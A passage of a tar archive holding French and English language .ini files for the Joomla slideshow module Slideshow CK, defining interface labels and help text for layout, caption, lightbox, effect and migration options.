SLIDESHOWCK_MARGINBOTTOM_LABEL="Marge bas"
SLIDESHOWCK_MARGINBOTTOM_DESC="marge en px"
SLIDESHOWCK_MARGINLEFT_LABEL="Marge gauche"
SLIDESHOWCK_MARGINLEFT_DESC="marge en px"
SLIDESHOWCK_PADDINGTOP_LABEL="Marge interne haut"
SLIDESHOWCK_PADDINGTOP_DESC="marge en px"
SLIDESHOWCK_PADDINGRIGHT_LABEL="Marge interne droite"
SLIDESHOWCK_PADDINGRIGHT_DESC="marge en px"
SLIDESHOWCK_PADDINGBOTTOM_LABEL="Marge interne bas"
SLIDESHOWCK_PADDINGBOTTOM_DESC="marge en px"
SLIDESHOWCK_PADDINGLEFT_LABEL="Marge interne gauche"
SLIDESHOWCK_PADDINGLEFT_DESC="marge en px"
SLIDESHOWCK_BACKGROUNDIMAGE_LABEL="Background image"
SLIDESHOWCK_BACKGROUNDIMAGE_DESC="Select an image to apply as background"
SLIDESHOWCK_BACKGROUNDPOSITIONX_LABEL="Poxition X"
SLIDESHOWCK_BACKGROUNDPOSITIONX_DESC="Choose a value with px (ex: 25px) or left, right, center, etc..."
SLIDESHOWCK_BACKGROUNDPOSITIONY_LABEL="Poxition Y"
SLIDESHOWCK_BACKGROUNDPOSITIONY_DESC="Choose a value with px (ex: 25px) or left, right, center, etc..."
SLIDESHOWCK_ARTICLEOPTIONS="Options de l'article"
SLIDESHOWCK_ARTICLELENGTH_LABEL="Nombre de caractères"
SLIDESHOWCK_ARTICLELENGTH_DESC="L'article sera coupé après le nombre de caractèrese"
SLIDESHOWCK_ARTICLELINK_LABEL="Lien de l'article sur"
SLIDESHOWCK_ARTICLELINK_DESC="Choisir si vous voulez que le lien de l'article soit sur le titre ou sur un lien 'Lire la suite'"
SLIDESHOWCK_READMORE_OPTION="lien lire la suite"
SLIDESHOWCK_TITLE_OPTION="titre de l'article"
SLIDESHOWCK_ARTICLETITLE_LABEL="Tag du titre de l'article"
SLIDESHOWCK_ARTICLETITLE_DESC="Choisir quel tag html utiliser pour écrire le titre de l'article"
SLIDESHOWCK_SLIDETIME="entrez une valeur de durée d'affichage spécifique pour ce slide, sinon la durée par défaut sera utlisée"

; added 1.3.11
SLIDESHOWCK_LIGHTBOXGROUPALBUM_LABEL="Grouper les liens dans un album"
SLIDESHOWCK_LIGHTBOXGROUPALBUM_DESC="SEULEMENT POUR MEDIABOX CK : Groupe les liens dans un album et active la navigation"
SLIDESHOWCK_CLEAR="Effacer"
SLIDESHOWCK_SELECT="Sélectionner"

;added 1.4.0
SLIDESHOWCK_ARTICLEOPTIONS="Options d'article"
SLIDESHOWCK_ARTICLE_ID="Article ID"
SLIDESHOWCK_TITLE_ONLY="titre seulement"
SLIDESHOWCK_DESC_ONLY="description seulement"
SLIDESHOWCK_OPTIONS_SLIDESSOURCE="<img src=../modules/mod_slideshowck/elements/images/pictures.png style=display:inline-block;margin:2px 5px 0 2px; />Source des slides"
SLIDESHOWCK_OPTIONS_FROMARTICLECATEGORY="<img src=../modules/mod_slideshowck/elements/images/picture_add.png style=display:inline-block;margin:2px 5px 0 2px; />Charger automatiquement depuis une catégorie d'articles"
SLIDESHOWCK_OPTIONS_FROMFOLDER="<img src=../modules/mod_slideshowck/elements/images/picture_add.png style=display:inline-block;margin:2px 5px 0 2px; />Charger automatiquement depuis un dossier"
SLIDESHOWCK_OPTIONS_STYLES = "<img src=../modules/mod_slideshowck/elements/images/css.png style=display:inline-block;margin:2px 5px 0 2px; />Options de styles"
SLIDESHOWCK_OPTIONS_EFFECTS = "<img src=../modules/mod_slideshowck/elements/images/chart_curve.png style=display:inline-block;margin:2px 5px 0 2px; />Options des effets"
SLIDESHOWCK_OPTIONS_LIGHTBOX="<img src=../modules/mod_slideshowck/elements/images/magnifier_zoom_in.png style=display:inline-block;margin:2px 5px 0 2px; />Options pour la Lightbox"
SLIDESHOWCK_OPTIONS_ADVANCED="<img src=../modules/mod_slideshowck/elements/images/wrench.png style=display:inline-block;margin:2px 5px 0 2px; />Options avancées"
SLIDESHOWCK_ARTICLEOPTIONS="<img src=../modules/mod_slideshowck/elements/images/text_signature.png style=display:inline-block;margin:2px 5px 0 2px; />Options de l'article"
SLIDESHOWCK_CAPTIONSTYLES="<img src=../modules/mod_slideshowck/elements/images/style.png style=display:inline-block;margin:2px 5px 0 2px; />Styles de la légende"
SLIDESHOWCK_HIKASHOP_FIELDSET_LABEL="<img src=../modules/mod_slideshowck/elements/images/basket.png style=display:inline-block;margin:2px 5px 0 2px; />Options pour Hikashop"
SLIDESHOWCK_SLIDEMANAGER="Gestionnaire de slides"
SLIDESHOWCK_SLIDESSOURCE_LABEL="Sources des images"
SLIDESHOWCK_SLIDESSOURCE_DESC="Choisir si vous voulez charger les images à partir du gestionnaire de slides ou d'un dossier"
SLIDESHOWCK_SPACERFOLDERIMPORT_LABEL="Importer les images depuis un dossier"
SLIDESHOWCK_TITLE="Titre"
SLIDESHOWCK_OPTIONS_SLIDES = "<img src=../modules/mod_slideshowck/elements/images/picture_add.png style=display:inline-block;margin-top:2px;margin-right:5px;margin-left:2px; />Gestionnaire de slides"
SLIDESHOWCK_CAPTION="Description"
SLIDESHOWCK_AUTOCREATETHUMBS_LABEL="Créer les miniatures automatiquement"
SLIDESHOWCK_AUTOCREATETHUMBS_DESC="Le serveur va créer automatiquement les miniatures. Attention cela peut générer une surcharge de votre serveur"
SLIDESHOWCK_BGOPACITY_LABEL="Opacité"
SLIDESHOWCK_BGOPACITY_LABEL="Définir l'opacité de l'arrière plan"

;added 1.4.6
SLIDESHOWCK_IMAGE_OPTION="Image"

;added 1.4.7
SLIDESHOWCK_CONTAINER_LABEL="Charger en fond de conteneur"
SLIDESHOWCK_CONTAINER_DESC="<strong>Pour les utilisateurs avancés :</strong>Renseignez le sélecteur CSS du bloc dans lequel vous voulez charger le slideshow en arrière plan. Par exemple pour charger dans un bloc ayant pour ID 'top', écrivez '#top'. Pour un élément ayant la classe 'top', écrivez '.top'."

;added 1.4.15
SLIDESHOWCK_SPACER_RESPONSIVE="Légende responsive"
SLIDESHOWCK_USERESPONSIVECAPTION_LABEL="Activer la légende responsive"
SLIDESHOWCK_USERESPONSIVECAPTION_DESC="Activez cette option si vous voulez utiliser les paramètres suivants pour la légende responsive"
SLIDESHOWCK_RESPONSIVERESOLUTION_LABEL="Résolution responsive"
SLIDESHOWCK_RESPONSIVERESOLUTION_DESC="Choisir une résolution en dessous de laquelle les paramètres suivants s'appliquent"
SLIDESHOWCK_RESPONSIVEFONTSIZE_LABEL="Taille de police"
SLIDESHOWCK_RESPONSIVEFONTSIZE_DESC="Définir une taille de police à appliquer à la légende en dessous de la résolution définie ci-dessus"
SLIDESHOWCK_RESPONSIVEHIDECAPTION_LABEL="Cacher la légende"
SLIDESHOWCK_RESPONSIVEHIDECAPTION_DESC="Si vous ne voulez pas montrer du tout la légende en dessous de la résolution définie ci-dessus, alors activez cette option"

;added 1.4.21
SLIDESHOWCK_OPTIONS_FROMFLICKR="<img src=../modules/mod_slideshowck/elements/images/picture_add.png style=display:inline-block;margin:2px 5px 0 2px; />Charger automatiquement depuis Flickr"
SLIDESHOWCK_VOTE_JED="Si vous utilisez Slideshow CK, merci de voter dans la JED."
SLIDESHOWCK_CURRENT_VERSION="Vous utilisez la version"
SLIDESHOWCK_NEW_VERSION_AVAILABLE="Mise à jour disponible"
SLIDESHOWCK_DOWNLOAD="Télécharger"
SLIDESHOWCK_DOWNLOAD_DOCUMENTATTION="Télécharger la documentation du module"
SLIDESHOWCK_DOWNLOAD_THEMES="Télécharger un thème graphique pour le module"
SLIDESHOWCK_NEED_UPDATE="Cette extension doit être mise à jour"
SLIDESHOWCK_REQUIRED_VERSION="Vous devez installer au minimum la version"

;added 1.4.22
SLIDESHOWCK_MINHEIGHT_LABEL="Hauteur mini"
SLIDESHOWCK_MINHEIGHT_DESC="Définir une hauteur minimale pour le slideshow afin de limiter sa taille sur petites résolutions. La valeur doit être en px"
SLIDESHOWCK_RESOLUTION_ADAPTATIVE="Adaptatif"
SLIDESHOWCK_RESOLUTION_STEP="Palier de résolution"
SLIDESHOWCK_STARTDATE="Date début"
SLIDESHOWCK_ENDDATE="Date fin"

;added 1.4.37
SLIDESHOWCK_USECAPTION_LABEL="Afficher la légende"
SLIDESHOWCK_USECAPTION_DESC="Selectionner si vous voulez afficher la légende, ou totalement la désactiver"
SLIDESHOWCK_USECAPTIONDESC_LABEL="Afficher la description"
SLIDESHOWCK_USECAPTIONDESC_DESC="Selectionner si vous voulez afficher la description dans la légende, ou uniquement le titre"

;added 1.4.41
SLIDESHOWCK_K2_NOTFOUND="K2 non trouvé"

;added 1.4.42
SLIDESHOWCK_LINK_POSITION_LABEL="Emplacement du lien"
SLIDESHOWCK_LINK_POSITION_DESC="Choisir où ajouter le lien"
SLIDESHOWCK_LINK_FULLSLIDE="Slide complet"
SLIDESHOWCK_LINK_CAPTION="Légende"
SLIDESHOWCK_LINK_TITLE="Titre"
SLIDESHOWCK_LINK_BUTTON="Bouton"

;added 1.4.43
SLIDESHOWCK_FIXHTML_LABEL="Corriger html"
SLIDESHOWCK_FIXHTML_DESC="Corriger le code html dans la légende. Utile lorsque le texte est trunqué."

;added 1.4.52
SLIDESHOWCK_KEYBOARD_CONTROL_LABEL="Activer le contrôle clavier"
SLIDESHOWCK_KEYBOARD_CONTROL_DESC="Vous pouvez utiliser le clavier pour contrôler le slideshow (gauche = précédent, droite = suivant, P = lecture/pause)"

;added 1.4.63
PLG_SLIDESHOWCK_READMORE="Lire la suite"
SLIDESHOWCK_STRIPTAGS_LABEL="Enlever les tags HTML"
SLIDESHOWCK_STRIPTAGS_DESC="Supprime toutes les balises HTML du texte"

;added 2.0.0
SLIDESHOWCK_SOURCE_FIELDSET_LABEL="Source"
SLIDESHOWCK_USE_FREE_VERSION="Vous utilisez la version GRATUITE"
SLIDESHOWCK_USE_PRO_VERSION="Vous utilisez la version PRO"
SLIDESHOWCK_DOCUMENTATION="Consulter la documentation"
SLIDESHOWCK_TEXT="Texte"
SLIDESHOWCK_IMAGE="Image"
SLIDESHOWCK_LINK="Lien"
SLIDESHOWCK_VIDEO="Vidéo"
SLIDESHOWCK_ARTICLE="Article"
SLIDESHOWCK_DATES="Dates"
SLIDESHOWCK_REMOVE2="Supprimer"
SLIDESHOWCK_SELECT_LINK="Sélectionner un lien"
SLIDESHOWCK_SOURCE_SLIDESMANAGER="Gestionnaire de slides"
SLIDESHOWCK_SOURCE_FOLDER="Dossier"
SLIDESHOWCK_SELECT="Sélectionner"
SLIDESHOWCK_USETITLE_LABEL="Afficher le titre"
SLIDESHOWCK_USETITLE_DESC="Selectionner si vous voulez afficher le titre dans la légende"
SLIDESHOWCK_DISPLAY_OPTIONS_LABEL="Affichage"
SLIDESHOWCK_TEXT_OPTIONS_LABEL="Texte"
SLIDESHOWCK_LINK_OPTIONS_LABEL="Lien"
SLIDESHOWCK_NUMBER_SLIDES_LABEL="Nombre de slides"
SLIDESHOWCK_NUMBER_SLIDES_DESC="Déterminer le nombre de slides à afficher. Laissez vide pour afficher tous les slides"
SLIDESHOWCK_NONE="Aucun"
SLIDESHOWCK_LINK_BUTTON_TEXT_LABEL="Texte du bouton"
SLIDESHOWCK_LINK_BUTTON_TEXT_DESC="Texte à afficher dans le bouton du lien. Vous pouvez utiliser une CHAINE à traduire dans vos fichiers de langue"
SLIDESHOWCK_LIGHTBOX_SPACER_LABEL="Lightbox"
SLIDESHOWCK_LIGHTBOX_LABEL="Lightbox à utiliser"
SLIDESHOWCK_LIGHTBOX_DESC="Choisir si vous voulez utiliser Mediabox CK disponible sur JoomlaCK.fr, ou une autre lightbox"
SLIDESHOWCK_LIGHTBOX_MEDIABOX="Mediabox CK"
SLIDESHOWCK_LIGHTBOX_OTHER="Autre"
SLIDESHOWCK_LINK_BUTTON_TEXT="Lire la suite"
SLIDESHOWCK_LIGHTBOX_ATTRIB_LABEL="Attribut Lightbox"
SLIDESHOWCK_LIGHTBOX_ATTRIB_DESC="Définir l'attribut à ajouter en fonction de votre lightbox"
SLIDESHOWCK_LIGHTBOX_ATTRIB_VALUE_LABEL="Valeur de l'attribut Lightbox"
SLIDESHOWCK_LIGHTBOX_ATTRIB_VALUE_DESC="Définir la valeur de l'attribut à ajouter en fonction de votre lightbox"
SLIDESHOWCK_LINK_BUTTON_CLASS_LABEL="Classe CSS du bouton"
SLIDESHOWCK_LINK_BUTTON_CLASS_DESC="Ecrire une classe CSS à appliquer au bouton"
SLIDESHOWCK_LINK_AUTOIMAGE_LABEL="Lien auto sur image"
SLIDESHOWCK_LINK_AUTOIMAGE_DESC="Si activé, cette option génère automatiquement un lien vers l'image du slide"
SLIDESHOWCK_LINK_TARGET_LABEL="Cible du lien"
SLIDESHOWCK_LINK_TARGET_DESC="Choisir si vous voulez ouvrir le lien dans une nouvelle fenêtre ou dans la même"
SLIDESHOWCK_LINK_SAME_WINDOW="Même fenêtre"
SLIDESHOWCK_LINK_NEW_WINDOW="Nouvelle fenêtre"
SLIDESHOWCK_TITLE_TAG_LABEL="Title tag"
SLIDESHOWCK_TITLE_TAG_DESC="Choisir quel tag HTML utiliser pour afficher le titre"
SLIDESHOWCK_OPTIONS_FIELDSET_LABEL="Options"
SLIDESHOWCK_RESPONSIVE="Responsive"
SLIDESHOWCK_EFFECTS_OPTIONS="Effets"
SLIDESHOWCK_VISIT_OTHER_PRODUCTS="Jetez un oeil aux autres produits disponibles sur JoomlaCK"
SLIDESHOWCK_GET_LICENCE_INFOS="Voir comment gérer la clé de licence"
SLIDESHOWCK_GET_PRO_INFOS="Obtenir des infos sur la version Pro"
SLIDESHOWCK_STYLES="Styles"
SLIDESHOWCK_EDIT="Editer"
SLIDESHOWCK_SELECT_STYLE_LABEL="Style"
SLIDESHOWCK_SELECT_STYLE_DESC="Selectionner le style à applliquer à votre slideshow"
SLIDESHOWCK_OTHER="Autre"
SLIDESHOWCK_LIGHTBOX_LABEL="Lightbox"
SLIDESHOWCK_LIGHTBOX_DESC="Selectionner quelle lightbox utiliser pour ouvrir les liens"
SLIDESHOWCK_PORTRAIT_LABEL="Contenir les images"
SLIDESHOWCK_PORTRAIT_DESC="Les images vont être réduites à la zone du slideshow, sans déformation"
SLIDESHOWCK_ONLY_PRO="Seulement disponible dans la version Pro. Cliquez ici pour en savoir plus."
SLIDESHOWCK_SOURCE_ARTICLES="Articles"
SLIDESHOWCK_THUMBSTYPE_LABEL="Miniatures à utiliser"
SLIDESHOWCK_THUMBSTYPE_DESC="Choisir entre l'image de taille normale et l'image de taille réduite"
SLIDESHOWCK_THUMBSTYPE_MINI="Mini"
SLIDESHOWCK_THUMBSTYPE_NORMAL="Normal"
SLIDESHOWCK_MIGRATION_NEEDED="Une migration est nécessaire ! Nous avons détecté que vous éditez un module qui a été créé avec Slideshow CK V1."
SLIDESHOWCK_MIGRATION_ACTION="Veuillez cliquer ici pour mettre à jour automatiquement les options du slideshow. Si vous ne le faites pas vous risquez de perdre certains paramétrages."
SLIDESHOWCK_MIGRATION_SUCCESS="Migration réalisée avec succès !"
SLIDESHOWCK_MIGRATION_ERROR="Erreur lors de la tentative de mivration à la V2. Merci de contacter le développeur."
SLIDESHOWCK_HEIGHT_FIELD_HELP_TITLE="Comment calculer la hauteur"
SLIDESHOWCK_HEIGHT_FIELD_HELP_1="Vous pouvez définir la hauteur en <b>px</b> ou <b>%</b>. Si vous utilisez des %, la hauteur sera responsive et l'image conservera son ratio. Si vous utilisez des px, alors la hauteur restera toujours la même et l'image sera coupée."
SLIDESHOWCK_HEIGHT_FIELD_HELP_2="Comment calculer la hauteur en %"
SLIDESHOWCK_HEIGHT_FIELD_HELP_3="Le pourcentage est le ratio entre la hauteur et la largeur de votre image. Notez que cette valeur sera utilsée pour toutes les images, il est donc conseillé d'utiliser des images qui ont toutes les mêmes dimensions."
SLIDESHOWCK_HEIGHT_FIELD_HELP_4="Prenons comme exemple une image qui a les dimensions suivantes :"
SLIDESHOWCK_HEIGHT_FIELD_HELP_5="Pour calculer le ratio : 800 / 1280 = <b>62%</b>. Donc dans le champ de hauteur, saisissez 62% comme valeur."
SLIDESHOWCK_RATIO_LABEL="Ratio de l'image"
SLIDESHOWCK_CALCULATOR="Calculateur"
SLIDESHOWCK_SAVE="Enregistrer"
SLIDESHOWCK_PARAMS_UNPUBLISHED_INFO="Etes vous en train de migrer de la V1 à la V2 de Slideshow CK ? Le plugin Slideshow CK Params a été détecté et a été automatiquement désactivé car il n'est pas compatible avec la V2."
SLIDESHOWCK_PARAMS_MIGRATION_LINK="Cliquez ici pour suivre les instructions sur la migration de la V1 à la V2"
SLIDESHOWCK_TEXT_CUSTOM="Texte perso"
SLIDESHOWCK_TEXT="Texte"
SLIDESHOWCK_WARNING_PLUGIN_OBSOLETE="Vous avez un plugin obsolète qui fonctionnait avec la version 1 de Slideshow CK. Ce plugin ,n'est plus compatible avec la version 2, veuillez le désactiver."
SLIDESHOWCK_DISABLE_PLUGIN="Cliquez ici pour désactiver le plugin"
;added 2.0.5
SLIDESHOWCK_DEBUG_LABEL="Voir les messages de débogage"
SLIDESHOWCK_DEBUG_DESC="Désactivez cette option si vous ne voulez voir aucun message dans le slideshow"
;added 2.0.16
SLIDESHOWCK_LOAD_INLINE_LABEL="Charger les scripts en direct"
SLIDESHOWCK_LOAD_INLINE_DESC="Si vous rencontrez des soucis de chargement lors de l'appel depuis un article, vous pouvez activer cette option"
;added 2.1.1
SLIDESHOWCK_CONTENT_PREPARE_LABEL="Préparer le contenu"
SLIDESHOWCK_CONTENT_PREPARE_DESC="Charge les plugins de contenu pour qu'ils s'appliquent lors du rendu"
;added 2.2.1
SLIDESHOWCK_VIDEO_AUTOPLAY="Lecture auto"
SLIDESHOWCK_VIDEO_LOOP="Boucler"
SLIDESHOWCK_VIDEO_CONTROLS="Contrôles"
;added 2.3.11
SLIDESHOWCK_TITLE_IN_THUMBNAILS_LABEL="Afficher le titre sur les miniatures"
;added 2.4.1
SLIDESHOWCK_RESPONSIVEHIDEDESCRIPTION_LABEL="Cacher la description"
SLIDESHOWCK_RESPONSIVEHIDEDESCRIPTION_DESC="Cacher la description sur mobile"com_slideshowck/extensions/mod_slideshowck/language/fr-FR/fr-FR.mod_slideshowck.sys.ini000060400000000742152455305260025412 0ustar00; @copyright	Copyright (C) 2010 Cédric KEIFLIN alias ced1870
; https://www.ck-web-creation-alsace.com
; https://www.joomlack.fr
; @license		GNU/GPL
; Double quotes in the values have to be formatted as "_QQ_"_QQ_"_QQ_"

SLIDESHOWCK_XML_DESCRIPTION = "Slideshow CK affiche un slideshow avec de superbes effets. Il est compatible mobiles et responsive design. Sa largeur s'adapte à la largeur de l'écran et vous pouvez faire défiler les images en glissant le doigt sur l'écran."
com_slideshowck/extensions/mod_slideshowck/language/en-GB/en-GB.mod_slideshowck.sys.ini000060400000000563152455305260025343 0ustar00; @copyright	Copyright (C) 2010 Cédric KEIFLIN alias ced1870
; https://www.joomlack.fr
; @license		GNU/GPL
; Double quotes in the values have to be formatted as "_QQ_"

SLIDESHOWCK_XML_DESCRIPTION = "Slideshow CK displays a slideshow with some nice effects. It is mobile compatible and responsive design. Its width adapts itself and you can slide it with your fingers."
com_slideshowck/extensions/mod_slideshowck/language/en-GB/index.html000060400000000037152455305260021751 0ustar00<!DOCTYPE html><title></title>
com_slideshowck/extensions/mod_slideshowck/language/en-GB/en-GB.mod_slideshowck.ini000060400000063447152455305260024540 0ustar00; @copyright	Copyright (C) 2010 Cédric KEIFLIN alias ced1870
; https://www.joomlack.fr
; @license		GNU/GPL
; Double quotes in the values have to be formatted as "_QQ_"

SLIDESHOWCK_XML_DESCRIPTION = "Slideshow CK displays a slideshow with some nice effects. It is mobile compatible and responsive design. Its width adapts itself and you can slide it with your fingers."
SLIDESHOWCK_OPTIONS_SLIDES = "Slides manager"
SLIDESHOWCK_OPTIONS_STYLES = "Styles options"
SLIDESHOWCK_OPTIONS_EFFECTS = "Effects options"
SLIDESHOWCK_SKIN_LABEL = "Skin"
SLIDESHOWCK_SKIN_DESC = "Choose a color"
SLIDESHOWCK_ALIGNEMENT_LABEL = "Image alignment"
SLIDESHOWCK_ALIGNEMENT_DESC = "Choose where you want to place the image"
SLIDESHOWCK_TOP = "top"
SLIDESHOWCK_BOTTOM = "bottom"
SLIDESHOWCK_TOPLEFT = "top left"
SLIDESHOWCK_TOPCENTER = "top center"
SLIDESHOWCK_TOPRIGHT = "top right"
SLIDESHOWCK_MIDDLELEFT = "center left"
SLIDESHOWCK_CENTER = "center"
SLIDESHOWCK_MIDDLERIGHT = "center right"
SLIDESHOWCK_BOTTOMLEFT = "bottom left"
SLIDESHOWCK_BOTTOMCENTER = "bottom center"
SLIDESHOWCK_BOTTOMRIGHT = "bottom right"
SLIDESHOWCK_LOADER_LABEL = "Loader icon"
SLIDESHOWCK_LOADER_DESC = "Choose what sort of icon you want to display"
SLIDESHOWCK_LOADER_PIE = "pie"
SLIDESHOWCK_LOADER_BAR = "bar"
SLIDESHOWCK_LOADER_NONE = "none"
SLIDESHOWCK_WIDTH_LABEL = "Width"
SLIDESHOWCK_WIDTH_DESC = "Width of the slideshow in px, you can also use the value'auto' to let it as responsive design for mobiles"
SLIDESHOWCK_HEIGHT_LABEL = "Height"
SLIDESHOWCK_HEIGHT_DESC = "Height of the slideshow, you can set it in px or %"
SLIDESHOWCK_THUMBNAILS_LABEL = "Thumbnails"
SLIDESHOWCK_THUMBNAILS_DESC = "Show the thumbnails under the slideshow"
SLIDESHOWCK_PAGINATION_LABEL = "Pagination"
SLIDESHOWCK_PAGINATION_DESC = "Show the buttons for pagination"
SLIDESHOWCK_EFFECT_LABEL = "Animation effect"
SLIDESHOWCK_EFFECT_DESC = "Choose which effect to apply. You can make a multiselection with the CTRL keyboard key"
SLIDESHOWCK_TRANSITION_LABEL = "Transition"
SLIDESHOWCK_TRANSITION_DESC = "Effect transition"
SLIDESHOWCK_TIME_LABEL = "Display time"
SLIDESHOWCK_TIME_DESC = "Time to show each image"
SLIDESHOWCK_TRANSPERIOD_LABEL = "Transition duration"
SLIDESHOWCK_TRANSPERIOD_DESC = "Time between two images"
SLIDESHOWCK_AUTOADVANCE_LABEL = "Autoplay"
SLIDESHOWCK_AUTOADVANCE_DESC = "The slideshow starts automatically"
SLIDESHOWCK_PORTRAIT_LABEL = "Adjust the images"
SLIDESHOWCK_PORTRAIT_DESC = "if no, the images will keep their original size"
SLIDESHOWCK_ADDSLIDE = "Add a slide"
SLIDESHOWCK_SELECTIMAGE = "Select an image"
SLIDESHOWCK_CAPTION = "Caption"
SLIDESHOWCK_USETOSHOW = "Display"
SLIDESHOWCK_IMAGE = "Image"
SLIDESHOWCK_VIDEO = "Video"
SLIDESHOWCK_IMAGEOPTIONS = "Image options"
SLIDESHOWCK_LINKOPTIONS = "Link options"
SLIDESHOWCK_VIDEOOPTIONS = "Video options"
SLIDESHOWCK_ALIGNEMENT_LABEL = "Alignment"
SLIDESHOWCK_LINK = "Link url"
SLIDESHOWCK_TARGET = "Target"
SLIDESHOWCK_SAMEWINDOW = "open in the same window"
SLIDESHOWCK_NEWWINDOW = "open in a new window"
SLIDESHOWCK_VIDEOURL = "Video url"
SLIDESHOWCK_REMOVE = "Remove this slide"
SLIDESHOWCK_IMPORTFROMFOLDER = "Import from a folder"
SLIDESHOWCK_LOADJQUERY_LABEL = "Load JQuery"
SLIDESHOWCK_LOADJQUERY_DESC = "If you already have an extension that load Jquery you can choose to not load it in Slideshow CK"
SLIDESHOWCK_LOADJQUERYEASING_LABEL = "Load JQuery Easing"
SLIDESHOWCK_LOADJQUERYEASING_DESC = "Choose to load the script for the transitions"
SLIDESHOWCK_LOADJQUERYMOBILE_LABEL = "Load JQuery mobile"
SLIDESHOWCK_LOADJQUERYMOBILE_DESC = "Choose to load the script for mobiles"
SLIDESHOWCK_THUMBNAILWIDTH_LABEL = "Thumbnail width"
SLIDESHOWCK_THUMBNAILWIDTH_DESC = "Give the thumbnail width in px"
SLIDESHOWCK_THUMBNAILHEIGHT_LABEL = "Thumbnail height"
SLIDESHOWCK_THUMBNAILHEIGHT_DESC = "Give the thumbnail height in px"
SLIDESHOWCK_NAVIGATION_HOVER = "mouseover"
SLIDESHOWCK_NAVIGATION_ALWAYS = "always"
SLIDESHOWCK_NAVIGATION_NONE = "none"
SLIDESHOWCK_NAVIGATION_LABEL = "Navigation"
SLIDESHOWCK_NAVIGATION_DESC = "Choose if you want to show the navigation buttons"
SLIDESHOWCK_DISPLAYORDER_LABEL = "Display order"
SLIDESHOWCK_DISPLAYORDER_DESC = "Choose the way to display the images"
SLIDESHOWCK_DISPLAYORDER_NORMAL = "in order"
SLIDESHOWCK_DISPLAYORDER_SHUFFLE = "shuffle"
SLIDESHOWCK_THEME_LABEL="Theme"
SLIDESHOWCK_THEME_DESC="Choose a theme for the slideshow"
SLIDESHOWCK_CAPTIONEFFECT_LABEL="Caption effect"
SLIDESHOWCK_CAPTIONEFFECT_DESC="Choose how the caption will appear"
SLIDESHOWCK_HOVER_LABEL="Pause on mouseover"
SLIDESHOWCK_HOVER_DESC="Pause the slideshow on mouseover"
SLIDESHOWCK_CAPTIONSTYLES="Caption styles"
SLIDESHOWCK_FULLPAGE_LABEL="Use it as full page background"
SLIDESHOWCK_FULLPAGE_DESC="Load the slideshow as background of the page"
SLIDESHOWCK_SHOWARTICLETITLE_LABEL="Show the article title"
SLIDESHOWCK_SHOWARTICLETITLE_DESC="Choose if you want to show the article title"
SLIDESHOWCK_OPTIONS_FROMFOLDER="Load the slides from a folder"
SLIDESHOWCK_CHECKPARAMSPLUGIN="You must download and install the <a href="_QQ_"https://www.joomlack.fr/en/slideshowck/slideshow-params-plugin"_QQ_" target="_QQ_"_blank"_QQ_">plugin Slideshow Params</a>"
SLIDESHOWCK_SPACER_SLIDESHOWCKPARAMS_PATCH_INSTALLED="Plugin Slideshow CK installed"
SLIDESHOWCK_FROMFOLDERNAME_LABEL="Load from the folder"
SLIDESHOWCK_FROMFOLDERNAME_DESC="Choose the folder from which to load the images (type the folder path, then save the module, then click on the import button)"
SLIDESHOWCK_SLIDESSOURCE_LABEL="Images source"
SLIDESHOWCK_SLIDESSOURCE_DESC="Choose if you want to load the images from the slides manager or a folder"
SLIDESHOWCK_SLIDEMANAGER="Slides manager"
SLIDESHOWCK_FOLDER="Import from a folder"
SLIDESHOWCK_IMPORT="Import"
SLIDESHOWCK_OPTIONS_LIGHTBOX="Lightbox Options"
SLIDESHOWCK_LIGHTBOXTYPE_LABEL="Lightbox type"
SLIDESHOWCK_LIGHTBOXTYPE_DESC="Choose the lightbox to use to open the links in a popup. Squeezebox is the natve script in Joomla!. Mediabox CK is the advanced Lightbox that you can download on https://www.joomlack.fr"
SLIDESHOWCK_SQUEEZEBOX="Squeezebox"
SLIDESHOWCK_MEDIABOXCK="Mediabox CK"
SLIDESHOWCK_LIGHTBOXCAPTION_LABEL="Show the caption"
SLIDESHOWCK_LIGHTBOXCAPTION_DESC="The caption is defined in the slide options, it can be shown in the slideshow, or in the lightbox (only if you use Mediabox CK), or both"
SLIDESHOWCK_LIGHTBOXCAPTION="In the slideshow"
SLIDESHOWCK_LIGHTBOXTITLE="In the lightbox (Mediabox CK)"
SLIDESHOWCK_LIGHTBOXCAPTIONANDTITLE="In both"
SLIDESHOWCK_SPACERFOLDERAUTOLOAD_LABEL="Autoload images from a folder"
SLIDESHOWCK_SPACERFOLDERIMPORT_LABEL="Import images from a folder"
SLIDESHOWCK_AUTOLOADFOLDERNAME_LABEL="Autoload from the folder"
SLIDESHOWCK_AUTOLOADFOLDERNAME_DESC="Choose the folder from which to load the images automatically"
SLIDESHOWCK_AUTOLOADFOLDER="Autoload from a folder"
SLIDESHOWCK_MOBILEIMAGE_SPACER_LABEL="Specific images for Mobile Options"
SLIDESHOWCK_USEMOBILEIMAGE_LABEL="Use specific images for Mobile"
SLIDESHOWCK_USEMOBILEIMAGE_DESC="If you use this option the slideshow will detect the resolution and load an image with a prefix. For example if you set the resolution of 640px under this resolution the image 'folder/640/image.jpg' will be loaded instead of 'folder/image.jpg'. BE CAREFUL that both images exists !"
SLIDESHOWCK_MOBILEIMAGERESOLUTION_LABEL="Max resolution for images for Mobile"
SLIDESHOWCK_MOBILEIMAGERESOLUTION_DESC="Under this value the alternative image will be used"
SLIDESHOWCK_LIMITSLIDES_LABEL="Number of slides"
SLIDESHOWCK_LIMITSLIDES_DESC="This option will only be used if you set the display order on Shuffle. Then you can limit the number of slides to show."
SLIDESHOWCK_IMAGETARGET_LABEL="Default image target"
SLIDESHOWCK_IMAGETARGET_DESC="Choose how you want to set the link target by default for all slides"
SLIDESHOWCK_DEFAULT="default"
SLIDESHOWCK_LIGHTBOX="in a Lightbox"
SLIDESHOWCK_HIKASHOP_FIELDSET_LABEL="Hikashop Options"
SLIDESHOWCKHIKASHOP_CHECKPLUGIN="You must download and install the <a href="_QQ_"https://www.joomlack.fr/en/slideshowck/slideshow-hikashop-plugin"_QQ_" target="_QQ_"_blank"_QQ_">plugin Slideshow CK Hikashop</a>"

;styles
SLIDESHOWCK_BOLD = "bold"
SLIDESHOWCK_NORMAL = "normal"
SLIDESHOWCK_SPACER_STYLESBACKGROUND="Background"
SLIDESHOWCK_SPACER_STYLESROUNDEDCORNERS="Rounded corners"
SLIDESHOWCK_SPACER_STYLESSHADOW="Shadow"
SLIDESHOWCK_SPACER_STYLESBORDERS="Borders"
SLIDESHOWCK_MARGIN_LABEL="External margins"
SLIDESHOWCK_MARGIN_DESC="Margin value in px"
SLIDESHOWCK_PADDING_LABEL="Internal margins"
SLIDESHOWCK_PADDING_DESC="Padding value in px"
SLIDESHOWCK_BGCOLOR1_LABEL="Background color"
